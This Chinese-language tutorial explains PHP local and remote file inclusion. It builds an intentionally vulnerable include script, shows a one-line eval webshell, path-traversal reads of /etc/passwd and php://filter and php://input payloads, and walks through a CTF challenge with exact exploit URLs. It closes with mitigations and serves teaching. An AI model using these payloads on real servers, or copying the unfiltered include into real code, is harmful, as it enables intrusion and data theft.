文件包含漏洞

0x00 文件包含漏洞

PHP文件包含漏洞,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。

0x01 原理

文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件使用硬编码,一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。

文件包含通常分为本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)。allow_url_fopen和 allow_url_include为0n的情况认为是远程文件包含漏洞,allow_url_fopen为off和 allow_url_include为0n为本地文件包含漏洞。

0x02 环境搭建

首先我们在wamp环境创建如下文件:

index.php:

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
if($_GET[p]){
include $_GET[p];
}
else{
include "home.php";
}
?>

home.php:

1
2
3
<?php
echo "home"
?>

123.txt:

1
2
3
<?php
echo "123"
?>

然后访问index.php,出现home。

访问index.php?p=123.txt,出现123,则环境搭建完成。

0x03 本地文件包含

我们先尝试本地文件包含漏洞,即获取的文件在搭载漏洞网站的服务器上,我们可以先尝试在桌面创建一个test.txt,写入如下内容。

1
2
3
<?php
echo "test"
?>

然后通过file协议访问index.php?p=file:///C:/Users/Leticia/Desktop/test.txt,发现显示test,说明可以apache服务器的权限很高,可以访问其他盘符位置,这样就可以遍历整个机器读取其中的敏感信息。

如果将test.txt中的内容换成一句话木马:

1
2
3
<?php
eval ($_POST['leticia'])
?>

然后重新访问index.php?p=file:///C:/Users/Leticia/Desktop/test.txt,用菜刀连接一句话木马,发现可以获取整个计算机的读写权限。

0x04 远程文件包含

我们再尝试远程文件包含,上面已经说过,要使allow_url_fopen和 allow_url_include为0n,所以远程文件包含非常少见,我们为了测试漏洞,就先打开wamp安装路径下的php.ini文件,将这两条改为ON。

然后我们在虚拟机上新建一个文件

1
2
3
<?php
echo "ok"
?>

在虚拟机打开一个http server,然后访问index.php?p=http://192.168.31.203:8000/2.txt

如果把2.txt文件改成一句话木马,即可用菜刀连接。

0x05 利用方法

文件包含漏洞有很多利用方式:

1、读取敏感文件

如../../../../../etc/passwd来读取敏感文件。

2、包含shell

如有其他漏洞将shell写入目标服务器中,或者可以远程包含自己服务器的shell,就可以通过包含shell文件来通过目标服务器apache来执行shell,用来提权之类的操作。

3、配合文件上传漏洞

如果上传的木马文件所在的路径不可以通过外网访问,但是可以通过文件包含漏洞读取,那么就可以构造参数将该文件运行,就可以得到webshell。

4、使用PHP封装协议读取文件和写入PHP文件

读取文件,可以通过输入page参数值如下:php://filter/read=convert.base64-encode/resource=../../../../../var/www/html/upload/xxx.txt来读取并执行。

写入文件,可以通过传入page=php://input,然后post提交我们要输入的内容。

0x06 一个ctf例子

我们可以用一个ctf的例子来看看实际中怎么利用。

是iscc的一道web题

目标网址是一张图片 http://118.190.152.202:8006/

源码中只有

1
<img src="show.php?img=1.jpg">

然后我们点开 http://118.190.152.202:8006/show.php?img=1.jpg

看到这个img参数,很容易想到文件包含漏洞

然后访问 http://118.190.152.202:8006/show.php?img=file:///show.php 尝试访问本页面源码
发现file not find

但是我们知道php://filter可以指定两个resource,这个时候构造
http://118.190.152.202:8006/show.php?img=php://filter/read=convert.base64-encode/resource=1.jpg/resource=show.php

然后查看源代码就可以看本页面代码了,接下来根据源码读取flag.php,查看源码,就完成了 http://118.190.152.202:8006/show.php?img=php://filter/read=convert.base64-encode/resource=1.jpg/resource=../flag.php

0x07 应对

  • 1.判断包含中的参数是否外部可控。

  • 2.限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。

  • 3.验证被包含的文件是否在白名单中。

  • 4.尽量不要使用变量,如要使用包含,直接规定好包含的文件名,如:“include(“head.php”)”。

  • 5.可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。

  • 6.如非必要,不要打开远程文件包含。